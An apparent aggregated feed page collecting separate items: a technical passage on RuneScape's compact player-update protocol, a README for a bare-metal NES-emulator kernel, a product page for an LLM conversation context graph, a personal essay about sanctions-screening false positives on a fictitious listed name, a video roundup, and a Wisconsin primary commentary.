As you can see, once we’ve identified the opcode, we can read the length byte and reverse the write logic to extract the number of deltas.

I mentioned earlier that not all packets contain this length byte. In fact, most don’t; the majority of packets have a fixed-length body. Reading those is even simpler. Take, for instance, the “item on item” packet - sent when a player “uses” one item in their inventory with another:

if (opcode == ClientToServerOpcodes.USE_ITEM_ON_ITEM) {
    int sourceItemId = player.inboundStream.takeShort();
    int sourceInterfaceId = player.inboundStream.takeShort();
    int sourceInterfaceSlot = player.inboundStream.takeShort();

    int targetItemId = player.inboundStream.takeShort();
    int targetInterfaceId = player.inboundStream.takeShort();
    int targetInterfaceSlot = player.inboundStream.takeShort();

    player.processUseItemOnItem(/* ... */);
}

This packet has a fixed length of 12 bytes (6 shorts). The server is aware of this constant length, so there is no need to transmit a length marker as part of this packet.

The server cycle #

There are a number of steps that make up a RuneScape server cycle, and the parts we are interested in happen in the following order:

  • read incoming packets
  • process players (queued actions, triggers, movement, etc)
  • build player updates (more on this in the next section)
  • flush outbound packets

The overall principle is clear: read , then do , then write .

Player updates #

Before tracing the packet, it’s worth being explicit about the protocol’s foundation: the client holds its own mirror of every player it can see. A tracked list of nearby players, each with their last-known position, appearance, animation and chat state - plus the local player’s own state. The player update packet’s job is to keep that mirror in sync with the server’s authoritative version - which means, almost always, that an update is a delta against what the client already knows . “No change” is so cheap precisely because the client already has the data; the server just confirms it’s still valid.

Every cycle, the server sends each player a single composite “player update packet”. This single packet describes everything the client needs to know about every player it can see - including itself. The receiving client tears this information apart in four steps, and the order of those steps is as follows:

private void readPlayerUpdates(Packet packet) {
    packet.accessMode(PacketAccess.BITS);

    this.readLocalPlayer(packet);

    // other players already tracked by the client
    this.readOtherPlayers(packet);

    // players newly in range, which the client should start tracking
    this.readNewPlayers(packet);

    packet.accessMode(PacketAccess.BYTES);

    // detailed changes about players
    this.readPlayerDetails(packet);
}

The first three steps are bit-packed - the stream is read a few bits at a time, not byte by byte. Only the fourth step in this sequence is byte-aligned. This split is deliberate: movement and registration are high-frequency, and tiny, so they get bits; the less frequent rich updates (a player changed equipment, swung a sword, or said something) get bytes.

Step 1: Local player #

The logic to read a local player is simple, so I will let you read it and we can analyse it after:

private void readLocalPlayer(Packet packet) {
    int updated = packet.takeBits(1);

    // no local movement and no local detail changes
    if (updated == 0) {
        return;
    }
    
    int movementType = packet.takeBits(2);

    // type 1: a walk
    if (movementType == 1) {
        int direction = packet.takeBits(3);

        this.localPlayer.step(direction, false);

        int detailUpdated = packet.takeBits(1);
        if (detailUpdated == 1) {
            this.trackPlayerDetails(this.localPlayer.id);
        }
    }
    // type 0: no move, but a detail update follows
    // type 2: a run - two directions back-to-back
    // type 3: a teleport
}

Read that first if statement again. If the local player didn’t move, and nothing about them changed this cycle, their entire presence in the update packet is a single bit. Not a byte. A bit. The most common state of any given player on any given cycle - “no change” - was made the cheapest possible transmission.

If the local player did move, it’s a 1 bit, two bits to represent the type, three bits for the direction and a single bit for the “is there more detail coming?” flag. Seven bits, less than a single byte , for “I took a step.” Excluding the first “update required” flag and the movement type, it fits in four bits.

The other types are cheap, too. Excluding the three bit headers:

  • type 0 (no move, but details to come): no payload. Zero bits.
  • type 2 (a run): two 3-bit directions, and a “more detail” flag bit. Seven bits.
  • type 3 (a teleport): the height plane (2 bits), the x and z coordinates (7 bits each), the “more detail” flag bit, and a “jump” bit (used to tell the client whether it should attempt to animate this movement). Slightly more expensive, but still only eighteen bits - slightly over two whole bytes.

Step 2: Tracked players #

This is the same idea as above, applied to the crowd of already-tracked players.

One thing to note is that reading individual bits here continues immediately from the “local player” section above. That is to say, if the local player section is only 1 bit, the section below will begin reading from the 2nd bit - there’s no empty space to pad full bytes.

private void readOtherPlayers(Packet packet) {
    int count = packet.takeBits(8);

    for (int i = 0; i < count; i++) {
        int updated = packet.takeBits(1);

        if (updated == 0) {
            continue;
        }

        // read movementType etc as above
    }
}

An 8-bit count, then one bit per known player to say whether anything happened to them. Stand in a crowd of forty players where nobody’s moving, and that’s forty-eight bits (six bytes) to confirm that the entire scene is static. Any player who did take a step costs the same seven bits as the local player did in step 1.

This is the core trick. The default - “nothing changed” - is a single bit, the cheapest possible representation. Real bits are only spent on the things that actually moved. The server and the client share, baked in at compile time, an identical understanding of the protocol - including what the default is, and what counts as changed. Neither end ever has to detail “no change”; the absence of detail, gated behind the zero bit, is the message.

Step 3: New players in range #

When someone walks into (or otherwise arrives in: logging in, teleporting, etc) your view for the first time, the server has to introduce them - who they are and where, relative to you:

private void readNewPlayers(Packet packet) {
    // room for an 11-bit player id
    while (packet.bitsRemaining > 10) {
        int playerId = packet.takeBits(11);

        // sentinel: no more players
        if (playerId == 2047) {
            break;
        }

        Player otherPlayer;
        // ... allocate or look up the player ...

        int updated = packet.takeBits(1);
        if (updated == 1) {
            this.trackPlayerDetails(playerId);
        }

        int teleported = packet.takeBits(1);

        int deltaX = packet.takeBits(5);
        if (deltaX >= 16) { deltaX -= 32; } // signed 5-bit value: -16 to +15

        int deltaZ = packet.takeBits(5);
        if (deltaZ >= 16) { deltaZ -= 32; }

        otherPlayer.move(localPlayer.x + deltaX, localPlayer.z + deltaZ, teleported == 1);
    }
}

An 11-bit player id ( 2047 is reserved as the “stop” sentinel, so the list doesn’t need a length header), one bit for whether a “more details” update is coming later, one bit for whether they teleported in, and then 10 bits for the position. The position is one of the details I love the most about this section.

Relative coordinates #

A player’s absolute world coordinates are a pair of values in the thousands - RuneScape’s map is very large (thousands of tiles on each axis). Two 16-bit numbers, 32 bits total, to place someone anywhere on that map.

But the player update logic above doesn’t need a global position. It only needs to know where they are relative to the local player , because that’s all that can be seen. Another player who’s in range to be drawn is at most about fifteen tiles away. Fifteen fits nicely in a signed 5-bit number ( -16 to +15 ). So a newly-visible player’s location costs ten bits - five per axis - instead of thirty-two. The coordinate space is recentered on the local player, and clipped to what’s visible. The encoding is sized to exactly that clipped range and not a single bit more. The same logic appears in step 1’s teleport branch, where coordinates are expressed as two 7-bit values (enough to address the ~104-tile loaded area) rather than full world coordinates.

This is the pattern repeated everywhere: figure out the smallest set of values that could possibly be needed, then use exactly enough bits to represent that set.

The bit cursor #

At the start of this section, I mentioned that steps 1 through 3 read individual bits, while step 4 reads whole bytes. All of the “a few bits at a time” reading is one small method doing the bookkeeping. The convention is that bits fill each byte from the top down - the first bit sits at position 7, the last at position 0:

public int takeBits(int count) {
    int value = 0;
    for (int n = 0; n < count; n++) {
        int bytePos = this.bitPosition / 8;
        int bitInByte = 7 - (this.bitPosition % 8);

        int bitValue = (this.buffer[bytePos] >> bitInByte) & 1;
        value = (value << 1) | bitValue;

        this.bitPosition++;
    }
    return value;
}

As you can see, the method above walks the buffer one bit at a time. Without this, every “three bits per direction” and “one bit per idle player” would need to be read as a byte, taking most of the protocol’s frugality with it - eight idle players would need eight bytes rather than one.

When the bit-packed steps finish, the cursor is rounded up to the next whole byte and step 4 takes over with conventional byte reads.

Step 4: Player detail changes #

This fourth step is responsible for any detailed player updates, generally related to the appearance of the player. It only touches players flagged as “more detail to come” in one of the earlier steps.

The full list of update flags is:

  • facing entity
  • facing tile
  • forced public chat
  • animation
  • appearance changed: equipment, etc (more on this below)
  • took a hit
  • normal public chat
  • graphical effect
  • forced movement along a path

Looking at the layout, the bottom two flags in the list are always (as far as I can tell) represented by bits in the high byte of the update type. These also tend to be the rarer updates, and I believe the assignment is a deliberate economic choice: only rare events require the second byte of the update type to be transmitted.

Later revisions add a “took a second hit this cycle” update - this is also always represented by a bit in the high byte, as further evidence that only rarer events require this extra byte for the update type.

Every player in the array of “more detail” updates is iterated over, and an “update type” flag is read:

private void readPlayerDetails(Packet packet) {
    for (int i = 0; i < moreDetailPlayerCount; i++) {
        int updateType = packet.takeByte();

        if ((updateType & 0b1000_0000) != 0) {
            updateType |= packet.takeByte() << 8;
        }
        
        // ...
    }
}

We can see another byte efficiency trick in use here. The nine flags we just listed are too many to fit in a single byte when each flag is an individual bit, so the full update type needs two bytes to address. Rather than reading two bytes per player (using takeShort ), seven flags are packed into the first byte with a single marker bit, the most significant bit. When this marker bit is set, a second byte is read, shifted left by one byte and combined with the first to give a 16-bit value (of which 10 bits are meaningful: the 9 flags plus the marker).

After obtaining the full update type, it is checked for the presence of individual flags to apply certain details. Some of these are illustrated below:

if ((updateType & 0b0000_0100) != 0) {
    // player is facing an entity (npc or another player)
    player.targetEntityId = packet.takeShort();
}

if ((updateType & 0b0010_0000) != 0) {
    // player is facing a tile
    player.targetTileX = packet.takeShort();
    player.targetTileZ = packet.takeShort();
}

if ((updateType & 0b0000_0010) != 0) {
    // player is performing an animation
    player.animationId = packet.takeShort();
    player.animationDelay = packet.takeByte();
}

// ... other flags ...

// check the least significant bit of the high byte
if ((updateType & (0b0000_0001 << 8)) != 0) {
    // a graphical effect is playing on the player
    player.graphicalEffectId = packet.takeShort();
    player.graphicalEffectHeight = packet.takeShort();
    player.graphicalEffectDelay = packet.takeShort();
}

In the few examples above, you can see a number of the tricks we’ve seen so far. Multiple flag values are packed into the 8-bit or 16-bit update type. Different update mechanisms have different body sizes, as part of the agreed protocol between the client and server. The smallest data type appropriate for the values being represented is used. All of these decisions were made with the aim of minimising the amount of data required to transmit this information.

Appearance update #

I won’t go into full detail around the “appearance” part of this packet, but it’s the only expensive one in the list. It contains:

  • name
  • combat level
  • body part information, including equipped items and NPC transmogs
  • body part colour
  • stand / walk animations
  • gender
  • head icons (prayer icons, PK skull)

In total the appearance section costs between 44 and 80 bytes per player.

Why no bit packing? #

It might seem inconsistent that the protocol abandons bit-level frugality just as it reaches the largest part of the packet, but step 4 is actually following the same rule as the rest - just landing on the other side of it. Bit packing trades CPU for bytes: you pay the cost of a bit cursor to reclaim the slack between a value’s real width and the byte it would otherwise sit in. It’s worth that trade only where the slack actually exists and repeats.

In steps 1, 2 and 3 it does, many times over. The default state - “no change” - is a single bit, and it repeats across every visible player every cycle, so the saving compounds across dozens of entities. Step 4 has neither half of that. There is no tiny default: a player either has no update at all (already gated by a single bit upstream) or a real one, whose smallest field, “facing an entity”, is already a two-byte short. A short has no slack to reclaim - it fills both its bytes - so bit packing would save nothing while still charging the cursor cost. The multiplier is gone too: step 4 only ever contains the handful of players who changed this cycle, not the whole crowd, so even if there were bits to save there’s almost nothing to multiply them by. The one place the trick still pays off is the update-type byte itself, with the marker bit buying a second byte only when needed - bit-packed within a byte, exactly where slack still exists.

The second reason is how the server composes this part of the packet, and it’s really the same point seen from the server’s side. Many fields in step 4 aren’t recomputed each cycle - I believe the appearance buffer, for example, is built once per player per change and held as a byte buffer the server splices into outgoing packets for any observer who needs it. The client certainly caches it that way, reusing it when a tracked player leaves visible range and re-enters; it would be strange for the server not to mirror that. What makes the splice cheap is that a byte-aligned blob is position-independent: wherever it lands in a given observer’s packet, it’s the same sequence of bytes, so inserting it is a plain array copy. Bit-align it and its offset would depend on everything written before it - which differs for every observer and every cycle - so the same cached blob would need a fresh shift-and-mask for every observer, every cycle, and the cache stops being worth keeping.

So the two halves of the packet are tuned for two different scarce resources. The bit-packed front is cheap to compute, impossible to cache, and exists to spare the client’s downstream dial-up. Nothing in it can be shared between observers: each sees a different crowd, positioned relative to itself. The byte-aligned back is expensive to compute but rarely changes, so it’s built once and spliced wherever it’s needed - and here the binding constraint isn’t the wire at all, but the server’s budget to assemble up to two thousand of these before the next cycle. The protocol switches representation at exactly the point where that constraint flips.

The bytes on the wire #

Let’s add it up for the actual scenario: you take one step north, and we count what a nearby player’s client receives in that cycle’s player update packet. Say there are twenty other players in their view and, this cycle, only you moved.

Player-update packet, bit by bit The downstream player-update payload for one tick, laid out as six rows of eight bits (one row per byte). Bit 0 is pass 1, the local player, who did not move. Bits 1 to 8 are the pass 2 player count, spilling across the first byte boundary. Bits 9 to 15 are your seven-bit step. Bits 16 to 34 are nineteen idle players at one bit each, running across three rows. Bits 35 to 45 are the eleven-bit pass 3 new-player sentinel. Bits 46 and 47 are byte-alignment padding. Forty-eight bits total, six bytes, plus a one-byte opcode and two-byte length make nine bytes on the wire. one row = one byte (8 bits) · one cell = one bit byte 0 byte 1 byte 2 byte 3 byte 4 byte 5 Step 1 · local player — 1 bit (no move) Step 2 · player count — 8 bits Step 2 · your step — 7 bits (1+2+3+1) Step 2 · 19 idle players — 19 bits Step 3 · new-player sentinel — 11 bits byte-align padding — 2 bits (wasted) 48 bits = 6 bytes · +1 opcode +2 length = 9 bytes

Add the opcode byte and a length marker (two bytes, rather than the single-byte marker used for our walk packet - the length of the player update block can be greater than 255), and you’re at roughly nine bytes for the complete answer to “what did everyone around me just do?” on a cycle where one person took one step in a crowd of twenty-one. Your upstream walk packet was seven bytes; the update echoed back to you is about nine. Sixteen bytes, round trip, for a step - and the server sends that same nine-byte answer to every other player who can see you. At 5 KB/s you have headroom for hundreds of those per second, which is exactly the point - combat, crowds and chat all have to fit in the same pipeline.

The complete round trip, end to end:

The journey of one step A sequence diagram with three participants: your client, the server, and another player's client. Your client pathfinds and writes a walk packet, then sends a seven-byte WALK_TILE packet up to the server, flushed roughly every 20 milliseconds. The server runs a roughly 600 millisecond cycle: read, process, build updates, flush. At the end of the cycle it sends an approximately nine-byte player-update packet down to the other player's client, which renders your step, and a copy of about nine bytes back to your own client, making the round trip. The net cost is seven bytes up, about nine bytes down per observer, and one 600 millisecond cycle of latency. Your client Server Other player WALK_TILE 7 B flushed every ~20 ms server cycle ≈ 600 ms player update ~9 B your own copy ~9 B 7 B up · ~9 B down per observer · one 600 ms cycle of latency

The general lesson #

The RuneScape client and the server it communicated with are not two systems exchanging messages. They work together as one system, which happens to be split across a TCP connection. Every economy in this protocol depends on both ends sharing knowledge that is never transmitted:

  • Both ends run the same pathfinder over the same collision map, so the client can send corners and the server can simply validate the path.
  • Both ends agree, at compile time, that the default state of a player is “didn’t change”, so “didn’t change” can cost only one single bit.
  • Both ends agree that visible means “within ~15 tiles”, so a position can be five bits per axis instead of sixteen.
  • Both ends agree on a fixed table of what things can change, so a bitmask can stand in for a schema.

None of this shared understanding is sent over the wire. It’s in the design . The protocol is small because the two programs were written together, by people treating the network as an implementation detail of a single application rather than a boundary separating two.

It’s tempting to read this as a relic - the way things had to be built before bandwidth became cheap. But the dividing line was never old versus new ; it’s what the system is for , and which constraint is actually binding. A modern web service is built the opposite way on purpose: loosely coupled, self-describing, versioned, verbose - the same scene update as JSON over HTTP would run to hundreds of bytes, its headers alone dwarfing the nine. That heft isn’t waste; it’s what buys the ability to change one side without redeploying the other, to serve many different clients, and to debug by reading the wire. Those are the right defaults when the thing pressing on you is teams and change velocity, not bytes.

What’s easy to miss is how much software written today still lives on RuneScape’s side of that line. A competitive shooter, a rollback fighting game, a market-data feed - anywhere both ends ship together and every byte is contested - reach for the same tightly co-designed, bit-packed, schema-baked-in approach. The decoupled style isn’t a feature of modern design - it’s a response to independent deployability . You move toward it or away from it depending on which constraint binds.

Push the other way - make every byte genuinely matter - and you get this instead: a data model and wire format co-designed so tightly that they exist as one artifact. One where the cleverness lives in everything you’ve arranged not to send. Studying this protocol is studying what engineering looks like under a hard, absolute limit.

Thanks #

Thank you to Jagex for building something that not only has stood the test of time, but that is good enough to be worth taking apart and learning from twenty years later.

Thank you to the many, many members of the preservation and reverse-engineering communities I’ve worked with over the last fifteen years to build the understanding I have today.

Kernel that only runs an NES emulator

Lobsters
github.com
2026-08-15 00:45:19
Comments...
Original Article

Introduction

Nintendo Entertainment Kernel is a very basic kernel with only the minimun to run a NES emulator. This means that it can be run without any OS. It does not have pagging nor userspace nor any kind of protection at all. Only one program can be run. It is embedded in the kernel, which means the program's code is compiled alongside the kernel.

Screenshots

alt Home Screen

alt Mario Bros

Building

You should use make and provide the cross compiler:

PATH=/path/to/crosscompiler/bin:$PATH make kernel program=emulador

If there are not errors, kernel.elf should be in the bin folder.

Examples

Besides "emulador" there are three other working programs:

  • mandelbrot (shows a explorable fractal)
  • paleta (shows nes avalaible colors)
  • corazon (a heart animation using math functions)

All of them can be compiled with the kernel using make.

Ej: make program=examples/mandelbrot

Installing

You may copy kernel.elf to /boot/ and add an entry at /etc/grub.d/40_custom like:

menuentry "nek" {

multiboot /boot/kernel.elf module /boot/initrd.img

}

Remember to update the config file:

sudo grub-mkconfig -o /boot/grub/grub.cfg

Testing

The makefile should run QEMU using the disk image disk.img. A loop device to this file must have been set up in the mount folder.

Dependencies

  • i686 cross compiler (both C and ASM), like GCC and nasm
  • GRUB2(optional): Generates .iso (cd image)
  • QEMU(optional): Emulation
  • Doxygen and Graphviz (optional): For generating the documentation
  • grub-mkrescue (optional): For generating a booteable cd image (.iso)

Boot call stack

GRUB (multiboot standard)

kernel/arch/x86/init/boot.s <-- calls c code, initializes stack

kernel_entry() at kernel/arch/x86/init/kernel_entry.c <--base system initilization

kmain() at kernel/kmain.c <--- some services are started

main() at program/main.(c|cpp) <--- main program

Folder Structure

  • kernel folder has all related to the kernel
  • kernel/arch code that depends on the architecture
  • kernel/fs file system(currently only vfs implemented)
  • fdlibm: a math library downloaded from internet
  • util/specs: Some useful documents
  • informe: University report (in spanish)
  • iso: a few files to generate an .iso with the kernel
  • util: contains the program to generate the initrd and a few other things
  • util/fuente: Tools/file used to generate the console font

Show HN: ThoughtDAG – An editable context graph for LLM conversations

Hacker News
chenxiachan.github.io
2026-08-15 00:42:07
Comments...
Original Article

CHAT HIDES CONTEXT.

THE GRAPH IS THE CONTEXT.

Linear conversation

Editable context graph

Same prompt · different context

AI conversation 87 messages

Compare three research paths.

Start with the first. Its advantage is…

What if the core hypothesis fails?

Consider another explanation…

Also, what should I eat tonight?

There is a new restaurant nearby.

The history is here. Which parts enter the next request?

research-paper.pdf p.7

Results

The effect appears only in the experimental condition.

Selected from the page

Clipped passage research-paper.pdf · p.7

The effect appears only in the experimental condition

Source linked · not wired yet

Asked from source research-paper.pdf · p.7

What does this evidence actually mean?

The source is in context

Unrelated branch detour

What should I eat tonight?

This history should not enter the research summary.

Still connected

Polluted summary 3 sources

Research summary… also, consider hot pot for dinner.

The prompt stayed the same. Polluted context changed the answer.

Includes unrelated branch

Will send 1,284 tokens

Preview what the model will receive

Incoming ancestors:

Research question Evidence A Dinner detour

After deleting the orange edge: −47 tokens

Context diff −47 tok

The dinner detour left context

Same prompt · regenerate

Same prompt ask again

Give me a bullet-point summary

The words are identical. Only one edge changed.

Reproducible context

Clean answer 2 sources

One: record the database version. Two: use independent reviewers. Three: resolve conflicts with a third reviewer.

The unrelated dinner suggestion is gone.

Answer updated in place

One rule ThoughtDAG

Wires are context.

No hidden memory selector. What the model sees, why, and what was removed stay visible in the graph.

Visible Editable Inspectable

01 · The problem

Chat history is long. Context is still invisible.

The interface shows what was said, not which history enters the next request.

02 · Externalize

Ask from the source. Clip what matters.

Ask from a selected passage, or turn a passage or figure into its own source-linked node. Provenance stays attached; context remains yours to wire.

03 · Inspect

Before sending, inspect what the model will read.

Preview source nodes, order, and token count. Context is no longer a hidden decision.

04 · Edit

Delete one edge. Ask the same question again.

The removed branch really leaves the request. The answer changes with the context.

05 · The protocol

Most canvases organize information. ThoughtDAG edits context.

You decide what enters and leaves. The graph is the context protocol before generation.

1 / 5 Invisible context

The other Sean Byrne doesn't exist

Hacker News
conic.al
2026-08-15 00:18:44
Comments...
Original Article

U.S. government Consolidated Screening List result showing Sean Byrne on the Bureau of Industry and Security Entity List at an address in Drumcliffe, County Sligo.

Earlier this year Apple denied me access to App Store Connect after deciding that I matched someone on a U.S. government restricted-party list.

Their explanation was fairly definitive:

“The information you provided fully matches one or more restricted parties on the U.S. government consolidated screening list or another government’s sanctions list.”

They already had my passport.

I replied with my full legal name, Sean Joseph Byrne, uploaded my driver’s license, and pointed out the address on the government record they appeared to be matching me against. I’ve never lived at that address, never lived in County Sligo, and have no connection to the company involved. I asked them to escalate it to their sanctions compliance folks and make a proper non-match determination.

Apple still hasn’t replied.

Apple Developer Support email stating that the information provided fully matches one or more restricted parties on a U.S. government screening list. Apple’s response after reviewing my identity information.

I knew what had happened because this wasn’t the first time.

Cloonmull House

Search the U.S. government’s Consolidated Screening List for Sean Byrne and you get exactly one result:

Sean Byrne
Cloonmull House
Drumcliffe, County Sligo
Ireland

Source: Entity List, Bureau of Industry and Security
Added: July 21, 2009
License requirement: All items subject to the EAR
License policy: Presumption of denial

The Consolidated Screening List isn’t itself a sanctions list. It’s a U.S. government screening tool that combines a number of export-control, sanctions and other restricted-party lists maintained by the Departments of Commerce, State and Treasury.

The result comes from the Commerce Department’s Bureau of Industry and Security Entity List. “All items subject to the EAR” means the Export Administration Regulations, the rules governing what U.S. companies can ship abroad. “Presumption of denial” is a licensing posture: if someone applies for a licence to export something to this person, the default answer is no. That’s the entire purpose. It’s an export-control instrument but it says nothing about who can be employed, or who can sell shares.

The person in the search result isn’t me. More interestingly, it doesn’t appear to be anyone.

The entry came out of the prosecution of an Irish aircraft-parts business called Mac Aviation. In 2009, the Department of Justice described Sean Byrne as Mac Aviation’s commercial manager and charged him alongside Thomas and Sean McGuinn over the illegal export of U.S. aircraft equipment to Iran.

Except Mac Aviation had apparently invented employees to make the company look bigger than it was.

Mac Aviation was a father and son working out of a cottage on the edge of Drumcliffe village, Ben Bulben behind it. A Rolls-Royce official who came to visit was reportedly speechless. The company he had been selling helicopter engines to, and had taken for a global operation employing hundreds of professionals, was a house in Sligo.

Aerial view of Drumcliffe, County Sligo, with Ben Bulben and surrounding countryside. Drumcliffe, County Sligo, with Ben Bulben in the background.

To keep up the impression of a much larger firm, the McGuinns signed documents with false names. Sean Byrne was one of them. John Mooney reported in the Sunday Times that the name appeared on so much company paperwork that the American authorities “became convinced Byrne existed and tried to indict him.”

When DOJ filed a superseding indictment in 2010, replacing the original, Sean Byrne was no longer a defendant. The defendants were Mac Aviation and Thomas and Sean McGuinn.

More importantly, the superseding indictment repeatedly describes Sean Byrne as an alias used by one or more co-conspirators. The phrase appears more than fifteen times, attached to specific invoices, emails and an ownership statement. Mac Aviation staff used the name with suppliers in the U.S. and customers in Iran.

At some stage the U.S. government appears to have worked out that Sean Byrne wasn’t actually a separate person. And yet the entry in the Entity List survived. Sixteen years later it still has no date of birth, passport number, middle name or other useful personal identifier. It’s basically a common Irish name, an address in Sligo and Ireland.

Cloonmull House in Sligo was Thomas McGuinn’s home, and the indictment gives it as Mac Aviation’s registered mailing address. So the entry isn’t a record of a man in Sligo. It’s a name attached to somebody else’s house. And I’ve never lived in Sligo.

This has happened before

Years before I moved back to Ireland, I was selling stock through a tender offer when Nasdaq stopped my order after a background check returned a match on my name.

Their Head of Account Management emailed me saying that the check had found a match associated with a previous incident and that he was confident it was a false positive, but compliance wanted additional proof of my California address. On the phone he gave me more detail and specifically asked me about Mac Aviation. I explained that I’d never had anything to do with the company, provided the extra documentation they wanted and the sale went through with an entertaining story to tell people.

Nasdaq email stating that a background check produced a name match. Nasdaq’s response after a background check matched my name.

More recently I ordered a Starlink mounting pole from California. DHL, shipping on behalf of SpaceX, told me the problem was a restricted-party match and asked for my passport. I sent it, they cleared it and the pole arrived. DHL also wouldn’t send a hat I’d ordered in the U.S. on to me in Ireland without a copy of my passport.

The fake Sean Byrne was associated with attempts to procure helicopter engines, fighter-aircraft parts and other U.S. equipment for Iran. The real Sean Byrne occasionally needs to produce a passport before someone will send him a hat.

Apple is the odd one out. Nasdaq and the shippers both generated false positives, asked for enough information to resolve them, and then resolved them. Apple already had my passport, received my driver’s license and a fairly detailed explanation of exactly why the match was wrong, and still told me that I “fully” matched a restricted party.

Twelve men named Robert Johnson

None of this is novel. In October 2006, 60 Minutes found twelve American men named Robert Johnson who all had trouble boarding flights, and brought them to New York together. A politician, a soccer coach, businessmen and a serving member of the military.

The Robert Johnson they kept being confused with wasn’t a man named Robert Johnson. It was a known alias of someone convicted of plotting to bomb a Hindu temple and a cinema in Toronto, who by then had served his sentence and been deported to Trinidad. The airline agents checking the twelve real ones against it had a name and nothing else. Not even a date of birth.

Asked about it, the head of the FBI’s Terrorist Screening Center said Robert Johnson would never get off the list, and that anyone with the name would be inconvenienced every time they tried to check in.

I’m not on the Entity List. I’m being misidentified as an entry on it. Apple didn’t make that distinction.

The consumer version of this has been litigated. In 2005 Sandra Cortez was held up buying a car in Colorado because TransUnion matched her against a woman on the Treasury Department’s sanctions list who was born 27 years after her. The credit bureau had compared first and last names only, not dates of birth. A jury awarded her damages and the Third Circuit upheld it, describing the failure to compare birth dates as reprehensible. Sergio Ramirez had the same experience at a car dealership six years later, and his case reached the Supreme Court in 2021.

In both cases the courts called for better matching. Compare the date of birth. Compare the middle name.

There is no version of that available to me. The listing has no date of birth to compare. No middle name and no passport number, because the person doesn’t exist. A screening system that does its job perfectly will still flag me, forever, on the only two facts the record contains: a common Irish name and a country.

Which is why arguing with companies one at a time is the wrong approach.

The real fake Sean Byrne

Remote hiring has developed a serious identity-fraud problem. It has also developed, somewhat unbelievably, a North Korea problem.

North Korean IT workers have been getting remote jobs at U.S. companies using stolen or fabricated identities, proxy interviewers and U.S.-based “laptop farms” that make workers overseas appear to be connecting from inside the United States. The FBI has been warning companies about it, and the DOJ has prosecuted schemes that successfully placed workers at more than 100 U.S. companies.

So if you’re hiring remote engineers, “is this person actually who they claim to be?” is now a legitimate security problem.

A new class of recruiting products is being built around that problem. They sit inside the software companies use to manage job applications, the applicant tracking system or ATS.

Tofu is one of them. Their pitch is that they screen every applicant across more than forty signals before a recruiter opens a résumé, and that when a screened applicant triggers a sanctions match the signal routes straight to compliance review. They are explicit that this has to happen early: screening at the background-check stage is, on their account, already too late, so it should run at application submission before any recruiter makes contact. They also say a candidate flagged by one of their customers is flagged across their whole customer network through their API. Brainner makes a similar case, checking applicants against 3.5 billion data points and flagging high-risk profiles before a recruiter reviews them.

Tofu says its database is built from analysed applicant profiles. Their homepage says more than 18 million. Most of their other pages say more than 5 million.

The sanctions screening these vendors describe is OFAC and the Specially Designated Nationals list, which is the right list for the risk they’re selling against: paying wages to a sanctioned person. I’ve no evidence that either company queries the BIS Entity List, and no idea whether any company I’ve applied to uses either product.

But screening my name against U.S. restricted-party data produces a false positive. It did at Nasdaq, at SpaceX, at DHL and at Apple. Four times in six years. And the industry’s answer to remote-hiring fraud is to run that class of check earlier, before a human is involved, and propagate the result across a network of employers.

Their whole thesis is that name screening produces false negatives: a North Korean operative using a stolen American identity passes an SDN check cleanly, because the check runs against the victim’s identity rather than the fraudster’s. That’s true, and it’s a good reason to build better tools. But it’s an argument that only points one way, toward more screening, earlier. Nobody is accounting for a real applicant who matches a listing for a person who was invented.

Mac Aviation fabricated an employee to make itself look like a bigger company. That fabricated employee ended up in an authoritative U.S. government database. Sixteen years later, an industry is being built to detect fabricated employees applying for technology jobs.

Has this cost me a job? I don’t know. I’ve spent my career in information security, much of it in the U.S., and I’m now applying for roles from Ireland. There have been jobs where I’ve a background that should at least get a conversation and I’ve heard nothing. That’s hardly remarkable on its own. Hiring is messy, roles get frozen, recruiters disappear and companies reject perfectly good candidates for reasons the candidate will never know. There is an entire website called Did They Ghost You? , so we’re not dealing with an unexplained phenomenon.

But Nasdaq told me it was Mac Aviation. DHL shipping on behalf of SpaceX asked for a passport and told me it was due to a hit against the restricted parties on the U.S. government consolidated screening list. Apple at least told me I’d matched something, even if it then stopped talking. An applicant tracking system will tell me nothing at all.

Upstream

I asked the Bureau of Industry and Security’s End-User Review Committee to review the original Entity List entry. I’m not sure anything will come of it. The normal process is designed for a listed person asking to be removed, which creates an interesting problem here. I’m not the listed Sean Byrne, and the available evidence suggests that person may never have existed.

For now the U.S. government’s screening data still says Sean Byrne, Cloonmull House, Drumcliffe, County Sligo.

I’ve still never lived in Sligo.

Northern Gannet

Simon Willison
simonwillison.net
2026-08-14 23:22:00
Northern Gannet, in Pillar Point Harbor, CA, US This is Morris. Morris is a local celebrity: the only known Northern Gannet (Morus bassanus) in the entire Pacific Ocean. He showed up in the Farallon Islands off the coast of San Francisco 14 years ago. He has since made Pillar Point harbor his home,...
Original Article

This is Morris.

Morris is a local celebrity: the only known Northern Gannet ( Morus bassanus ) in the entire Pacific Ocean.

He showed up in the Farallon Islands off the coast of San Francisco 14 years ago . He has since made Pillar Point harbor his home, where he's quite easy to spot: the only white bird with a yellow head, usually hanging out with the smaller black Brandt’s cormorants near the harbor sign visible from the end of the commercial pier.

Friday Nite Videos | August 14, 2026

Portside
portside.org
2026-08-14 23:02:20
Friday Nite Videos | August 14, 2026 barry Fri, 08/14/2026 - 23:02 ...
Original Article

Friday Nite Videos | August 14, 2026

How Much Water Data Centers Actually Use. Donavan McKinney on his Primary Upset. Can Baldness Be Reversed? Steal This Story, Please! India’s Internet War.

Portside Portside

After the Primary, Where Next for Wisconsin?

Portside
portside.org
2026-08-14 22:48:47
After the Primary, Where Next for Wisconsin? barry Fri, 08/14/2026 - 22:48 ...
Original Article

Seriously? A little-known legislator with a scant campaign treasury, whose candidacy was actively opposed by the sitting governor and faced a hair-on-fire national media onslaught, finished in a virtual tie for the Democratic gubernatorial nomination in the ultimate swing state. And we’re supposed to believe that the result has defined the limits of the left?

History suggests differently.

Movements are built over time. Robert M. La Follette, the great progressive governor of Wisconsin in the early 20th century, lost repeated bids for his Republican Party’s gubernatorial nomination. He was labeled as too radical, too unprepared, and too unfit to govern. And then he won. The transformational figure in the modern Democratic Party of Wisconsin, William Proxmire, was dismissed as a gadfly. He lost bids for governor in 1952, 1954, and 1956. Then, in 1957, he won a special election for what had been Joe McCarthy’s US Senate seat and ushered in a new kind of politics in a once rigidly Republican state.

In the heat of an election season, results are measured in raw vote totals. But they should also be measured by the potential they reveal. That is what Hong did on election night. “We have built something that will change politics forever,” she told a cheering crowd of young supporters. “What we have done will be remembered. I don’t even know how the final results will end. But what I do know is that we are ready to keep fighting, and I feel confident. More importantly, I am so deeply, deeply grateful.”

Hong had every right to be grateful, and every right to be confident about the future.

